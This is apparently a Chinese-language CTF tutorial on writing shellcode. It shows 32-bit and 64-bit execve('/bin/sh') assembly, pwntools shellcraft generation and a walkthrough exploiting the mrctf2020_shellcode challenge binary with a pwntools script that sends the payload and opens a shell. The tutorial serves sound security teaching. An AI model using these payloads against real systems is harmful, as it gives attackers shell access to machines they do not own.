shellcode編寫

shellcode編寫

shellcode是一段用於利用軟件漏洞而執行的代碼,通常使用機器語言編寫,其目的往往是讓攻擊者獲得目標機器的命令行shell而得名,其他有類似功能的代碼也可以稱為shellcode。

簡單的shellcode

最簡單的shellcode就是直接用C語言system函數來調用/bin/sh,代碼如下:

# include <stdlib.h>
# include <unistd.h>

int main(void)
{
    system("/bin/sh");
    return 0;
}

編譯上述代碼生成可執行文件,運行可執行文件便可以獲得機器的shell。

上面是用C語言寫的,用彙編語言也可以實現。具體思路就是設置好各個寄存器的值,然後觸發內中斷,執行系統調用。

這裡簡單介紹一下中斷,補充一下背景知識。

對於任何一個通用的CPU,都具備一種能力,可以在執行完當前正在執行的指令之後,檢測到從CPU外部發送過來的(外中斷)或CPU內部產生的(內中斷)一種特殊信息,並且可以立即對所接收到的信息進行處理。這種特殊的信息被稱為「中斷信息」。中斷的意思是指CPU不再接着剛執行完的指令向下執行,而是去處理這個特殊信息。

CPU的內中斷有四種情況:(1)除法錯誤;(2)單步執行;(3)執行into指令;(4)執行int指令。

int指令的格式為:int n,n為中斷類型碼。CPU執行int n,相當於引發一個n號中斷的過程。int 0x80表示引發0x80號中斷,而0x80號中斷就是系統調用,具體是哪個系統調用,就看寄存器EAX的值,這個值就是系統調用編號。在32位程序中,execve對應的系統調用編號是0xb;在64位程序中,execve對應的系統調用編號是0x3b。關於中斷的詳細信息可以查閱王爽老師的《彙編語言》,關於系統調用的詳細信息可以參考你真的知道什麼是系統調用嗎?操作系統(linux0.11)的系統調用

32位的shellcode命名為shell32.asm,需要:(1)設置ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80觸發中斷。

global _start
_start:
    push "/sh"
    push "/bin"
    mov ebx, esp    ;;ebx="/bin/sh"
    xor edx, edx    ;;edx=0
    xor ecx, ecx    ;;ecx=0
    mov al, 0xb    ;;設置al=0xb,對應系統調用execve
    int 0x80

用命令nasm -f elf32 shell32.asm -o shell32.o編譯得到shell32.o,用命令ld -m elf_i386 shell32.o -o shell32鏈接得到shell32,運行即可使用shell。

64位的shellcode命名為shell64.asm,需要:(1)設置rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 進行系統調用。注意,64位不再用int 0x80觸發中斷,而是直接用syscall進行系統調用。

global _start
_start:    
    mov rbx, '/bin/sh'
    push rbx
    push rsp
    pop rdi
    xor esi, esi
    xor edx, edx
    push 0x3b
    pop rax
    syscall

用命令nasm -f elf64 shell64.asm -o shell64.o編譯得到shell64.o,用命令ld -m x86_64 shell64.o -o shell64鏈接得到shell64,運行即可使用shell。

用pwntools快速生成shellcode

pwn工具準備一文中介紹了pwntools的安裝,這是一個python的包,也是解決pwn題強有力的武器。

生成32位shellcode的python代碼:

from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())

生成64位shellcode的python代碼:

from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())

context用來設置運行時全局變量,比如體系結構、操作系統等。
shellcraft用來生成指定體系結構和操作系統下的shellcode,如果沒有在context設置全局運行時變量,還可以將shellcraft.sh()完整寫成shellcraft.i386.linux.sh()
asm用來生成彙編和反彙編代碼,體系結構、操作系統等參數可以通過context來設定,也可以在asm中參數的形式設定。上面的代碼如果沒有asm()也可以得到正常的結果,但是會顯式的直接寫出\n,而不是將其識別為換行。

運行上面的python代碼就可以生成指定的shellcode。

shellcode實戰

看一道簡單的題mrctf2020_shellcode,首先用checksec mrctf2020_shellcode查看一下格式和保護,結果表明這是一個64位的程序,沒有開啟棧溢出保護和NX保護,有可讀可寫可執行的棧。

checksec_mrctf2020_shellcode

然後用sudo chmod +x mrctf2020_shellcode添加可執行權限,執行一下看看情況。

接着將程序拖到IDA Pro 64位中,或者用gdb調試,得到的彙編代碼如下:

   0x555555555159 <main+4>     sub    rsp, 0x410
   0x555555555160 <main+11>    mov    rax, qword ptr [rip + 0x2ec9] <stdin@@GLIBC_2.2.5>
   0x555555555167 <main+18>    mov    esi, 0
   0x55555555516c <main+23>    mov    rdi, rax
   0x55555555516f <main+26>    call   setbuf@plt                <setbuf@plt>
 
   0x555555555174 <main+31>    mov    rax, qword ptr [rip + 0x2ea5] <stdout@@GLIBC_2.2.5>
   0x55555555517b <main+38>    mov    esi, 0
   0x555555555180 <main+43>    mov    rdi, rax
   0x555555555183 <main+46>    call   setbuf@plt                <setbuf@plt>
 
   0x555555555188 <main+51>    mov    rax, qword ptr [rip + 0x2eb1] <stderr@@GLIBC_2.2.5>
   0x55555555518f <main+58>    mov    esi, 0
   0x555555555194 <main+63>     mov    rdi, rax
   0x555555555197 <main+66>     call   setbuf@plt                <setbuf@plt>
 
   0x55555555519c <main+71>     lea    rdi, [rip + 0xe61]
   0x5555555551a3 <main+78>     call   puts@plt                <puts@plt>
 
   0x5555555551a8 <main+83>     lea    rax, [rbp - 0x410]
   0x5555555551af <main+90>     mov    edx, 0x400
   0x5555555551b4 <main+95>     mov    rsi, rax
   0x5555555551b7 <main+98>     mov    edi, 0
   0x5555555551bc <main+103>    mov    eax, 0
   0x5555555551c1 <main+108>    call   read@plt                <read@plt>
   0x5555555551c6 <main+113>    mov    dword ptr [rbp - 4], eax
   0x5555555551c9 <main+116>    cmp    dword ptr [rbp - 4], 0
   0x5555555551cd <main+120>    jg     main+129                <main+129>

   0x5555555551d6 <main+129>    lea    rax, [rbp - 0x410]
   0x5555555551dd <main+136>    call   rax
 
   0x5555555551df <main+138>    mov    eax, 0

這段代碼比較簡單,可以直接分析一下。首先是sub rsp, 0x410是為局部變量開闢空間,接着依次調用了stdinstdoutstderr,然後調用puts在屏幕上打印Show me your magic!。重點是接下來的部分,可以看到調用了read函數,該函數有三個參數,第一個參數表示要讀的信息的來源,第二個參數表示存放讀入信息的緩衝區,第三個參數表示讀的信息的位元組數。在C語言函數調用棧中介紹了64位程序中函數調用優先使用寄存器傳參,所以edx傳入的是第三個參數,rsi傳入的是第二個參數,edi傳入的第一個參數,表明要讀入0x400個位元組的數據,存放數據的緩衝區地址是rbp-0x410,從標準輸入中讀取數據,函數調用的返回值存放在eax寄存器中,read函數的返回值是實際讀取的位元組數,所以接下來的語句是將實際讀取的位元組數存入rbp-4的位置,將這個值與0比較,如果大於0(即實際讀取的位元組數大於0),則跳轉到<main+129>的地方執行,將rbp-0x410的值傳給rax,然後call rax意味着以rax寄存器存放值為地址,跳轉到該處執行接下來的指令。實際上,rbp-0x410就是read函數緩衝區開始的地方,換句話說,這個程序的作用就是將read讀取的數據當成指令來執行,如果向程序輸入的數據是獲取shell的指令,那麼我們就可以獲取shell了。我們可以用pwntools來構建shellcode,然後發送給程序。

from pwn import *
context(os = 'linux',arch = 'amd64')    # checksec告訴我們這是64位程序
p =  process('./mrctf2020_shellcode')    # 啟動進程
shellcode = shellcraft.sh()    # 生成shellcode
payload = asm(shellcode)    # 構建payload
p.send(payload)    # 向進程發送payload
# gdb.attach(p)    # 在新終端中用gdb調試進程
p.interactive()    # 與進程交互

參考資料

星盟安全團隊課程://www.bilibili.com/video/BV1Uv411j7fr
CTF競賽權威指南(Pwn篇)(楊超 編著,吳石 eee戰隊 審校,電子工業出版社)
彙編語言(第3版)(王爽 著,清華大學出版社)
pwntools官方文檔://docs.pwntools.com/en/latest/

Tags: